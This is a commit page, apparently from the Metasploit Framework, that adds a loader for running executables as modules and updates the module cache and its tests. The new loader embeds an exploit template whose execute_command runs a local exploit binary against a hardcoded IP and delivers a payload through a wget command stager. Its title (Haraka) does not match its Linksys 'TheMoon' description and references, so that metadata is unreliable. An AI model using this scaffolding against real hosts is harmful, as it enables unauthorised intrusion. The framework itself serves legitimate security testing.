Skip to content

Commit 71df231

Browse files
committed
Add new loader for arbitrary executables
Still some kluges left in the shim and we have to hit the disk when constructing the module path
1 parent 51646e4 commit 71df231

File tree

4 files changed

+179
-19
lines changed

4 files changed

+179
-19
lines changed

lib/msf/core/module_manager/cache.rb

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -81,14 +81,15 @@ def load_cached_module(type, reference_name)
8181
if module_info
8282
parent_path = module_info[:parent_path]
8383

84+
# XXX borked
8485
loaders.each do |loader|
8586
if loader.loadable?(parent_path)
8687
type = module_info[:type]
8788
reference_name = module_info[:reference_name]
8889

8990
loaded = loader.load_module(parent_path, type, reference_name, :force => true)
9091

91-
break
92+
break if loaded
9293
end
9394
end
9495
end
@@ -162,11 +163,9 @@ def module_info_by_path_from_database!(allowed_paths=[""])
162163
# Skip cached modules that are not in our allowed load paths
163164
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
164165

165-
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
166-
# join to '' so that typed_path_prefix starts with file separator
167-
typed_path_suffix = File.join('', typed_path)
168-
escaped_typed_path = Regexp.escape(typed_path_suffix)
169-
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
166+
# The load path is assumed to be the next level above the type directory
167+
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
168+
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
170169

171170
module_info_by_path[path] = {
172171
:reference_name => reference_name,

lib/msf/core/module_manager/loading.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
# Project
99
#
1010
require 'msf/core/modules/loader/directory'
11+
require 'msf/core/modules/loader/executable'
1112

1213
# Deals with loading modules for the {Msf::ModuleManager}
1314
module Msf::ModuleManager::Loading
@@ -19,7 +20,8 @@ module Msf::ModuleManager::Loading
1920

2021
# Classes that can be used to load modules.
2122
LOADER_CLASSES = [
22-
Msf::Modules::Loader::Directory
23+
Msf::Modules::Loader::Directory,
24+
Msf::Modules::Loader::Executable # TODO: XXX: When this is the first loader we can load normal exploits, but not payloads
2325
]
2426

2527
def file_changed?(path)
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/modules/loader'
4+
require 'msf/core/modules/loader/base'
5+
6+
# Concerns loading executables from a directory as modules
7+
class Msf::Modules::Loader::Executable < Msf::Modules::Loader::Base
8+
# Returns true if the path is a directory
9+
#
10+
# @param (see Msf::Modules::Loader::Base#loadable?)
11+
# @return [true] if path is a directory
12+
# @return [false] otherwise
13+
def loadable?(path)
14+
if File.directory?(path)
15+
true
16+
else
17+
false
18+
end
19+
end
20+
21+
protected
22+
23+
# Yields the module_reference_name for each module file found under the directory path.
24+
#
25+
# @param [String] path The path to the directory.
26+
# @param [Hash] opts Input Hash.
27+
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
28+
# @yieldparam [String] path The path to the directory.
29+
# @yieldparam [String] type The type correlated with the directory under path.
30+
# @yieldparam module_reference_name (see Msf::Modules::Loader::Base#each_module_reference_name)
31+
# @return (see Msf::Modules::Loader::Base#each_module_reference_name)
32+
def each_module_reference_name(path, opts={})
33+
whitelist = opts[:whitelist] || []
34+
::Dir.foreach(path) do |entry|
35+
full_entry_path = ::File.join(path, entry)
36+
type = entry.singularize
37+
38+
unless ::File.directory?(full_entry_path) and
39+
module_manager.type_enabled? type
40+
next
41+
end
42+
43+
full_entry_pathname = Pathname.new(full_entry_path)
44+
45+
# Try to load modules from all the files in the supplied path
46+
Rex::Find.find(full_entry_path) do |entry_descendant_path|
47+
if File.executable?(entry_descendant_path) && !File.directory?(entry_descendant_path)
48+
entry_descendant_pathname = Pathname.new(entry_descendant_path)
49+
relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
50+
relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
51+
52+
# The module_reference_name doesn't have a file extension
53+
module_reference_name = File.join(File.dirname(relative_entry_descendant_path), File.basename(relative_entry_descendant_path, '.*'))
54+
55+
yield path, type, module_reference_name
56+
end
57+
end
58+
end
59+
end
60+
61+
# Returns the full path to the module file on disk.
62+
#
63+
# @param (see Msf::Modules::Loader::Base#module_path)
64+
# @return [String] Path to module file on disk.
65+
def module_path(parent_path, type, module_reference_name)
66+
# The extension is lost on loading, hit the disk to recover :(
67+
partial_path = File.join(DIRECTORY_BY_TYPE[type], module_reference_name)
68+
full_path = File.join(parent_path, partial_path)
69+
70+
Rex::Find.find(File.dirname(full_path)) do |mod|
71+
if File.basename(full_path, '.*') == File.basename(mod, '.*')
72+
return File.join(File.dirname(full_path), File.basename(mod))
73+
end
74+
end
75+
76+
''
77+
end
78+
79+
# Loads the module content from the on disk file.
80+
#
81+
# @param (see Msf::Modules::Loader::Base#read_module_content)
82+
# @return (see Msf::Modules::Loader::Base#read_module_content)
83+
def read_module_content(parent_path, type, module_reference_name)
84+
full_path = module_path(parent_path, type, module_reference_name)
85+
unless File.executable?(full_path)
86+
load_error(full_path, Errno::ENOENT.new)
87+
return ''
88+
end
89+
%Q|
90+
require 'msf/core'
91+
92+
class MetasploitModule < Msf::Exploit::Remote
93+
Rank = ExcellentRanking
94+
95+
include Msf::Exploit::CmdStager
96+
97+
def initialize(info = {})
98+
super(update_info(info,
99+
'Name' => 'Haraka Remote Command Injection',
100+
'Description' => %q{
101+
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
102+
injection. This vulnerability was used from the so-called "TheMoon" worm. There
103+
are many Linksys systems that are potentially vulnerable, including E4200, E3200, E3000,
104+
E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This module was tested
105+
successfully against an E1500 v1.0.5.
106+
},
107+
'Author' =>
108+
[
109+
'Johannes Ullrich', #worm discovery
110+
'Rew', # original exploit
111+
'infodox', # another exploit
112+
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
113+
'juan vazquez' # minor help with msf module
114+
],
115+
'License' => MSF_LICENSE,
116+
'References' =>
117+
[
118+
[ 'EDB', '31683' ],
119+
[ 'BID', '65585' ],
120+
[ 'OSVDB', '103321' ],
121+
[ 'PACKETSTORM', '125253' ],
122+
[ 'PACKETSTORM', '125252' ],
123+
[ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ],
124+
[ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ]
125+
],
126+
'DisclosureDate' => 'Feb 13 2014',
127+
'Privileged' => true,
128+
'Platform' => %w{ linux unix },
129+
'Payload' =>
130+
{
131+
'DisableNops' => true
132+
},
133+
'Targets' =>
134+
[
135+
[ 'Linux x64 Payload',
136+
{
137+
'Arch' => ARCH_X64,
138+
'Platform' => 'linux'
139+
}
140+
]
141+
],
142+
'DefaultTarget' => 0,
143+
'DefaultOptions' => { 'WfsDelay' => 5 }
144+
))
145+
end
146+
147+
def execute_command(cmd, opts)
148+
to = 'admin@arnold'
149+
rhost = '192.168.244.130'
150+
`#{module_path(parent_path, type, module_reference_name)} -c "\#{cmd}" -t \#{to} -m \#{rhost}`
151+
true
152+
end
153+
154+
def exploit
155+
print_status("Trying to access the vulnerable URL...")
156+
157+
print_status("Exploiting...")
158+
execute_cmdstager({:flavor => :wget})
159+
end
160+
161+
162+
end
163+
|
164+
end
165+
end

spec/support/shared/examples/msf/module_manager/cache.rb

Lines changed: 6 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -166,9 +166,9 @@ def module_info_by_path
166166
end
167167

168168
it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do
169-
module_manager.send(:loaders).each do |loader|
170-
expect(loader).to receive(:loadable?).with(parent_path).and_call_original
171-
end
169+
# Only the first one gets it since it finds the module
170+
loader = module_manager.send(:loaders).first
171+
expect(loader).to receive(:loadable?).with(parent_path).and_call_original
172172

173173
load_cached_module
174174
end
@@ -188,9 +188,9 @@ def module_info_by_path
188188

189189
context 'return from load_module' do
190190
before(:example) do
191-
module_manager.send(:loaders).each do |loader|
192-
expect(loader).to receive(:load_module).and_return(module_loaded)
193-
end
191+
# Only the first one gets it since it finds the module
192+
loader = module_manager.send(:loaders).first
193+
expect(loader).to receive(:load_module).and_return(module_loaded)
194194
end
195195

196196
context 'with false' do
@@ -394,12 +394,6 @@ def module_info_by_path_from_database!
394394
expect(module_info_by_path).to have_key(path)
395395
end
396396

397-
it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do
398-
expect(Msf::Modules::Loader::Base).to receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original
399-
400-
module_info_by_path_from_database!
401-
end
402-
403397
context 'cache entry' do
404398
subject(:cache_entry) do
405399
module_info_by_path[path]

0 commit comments

Comments
 (0)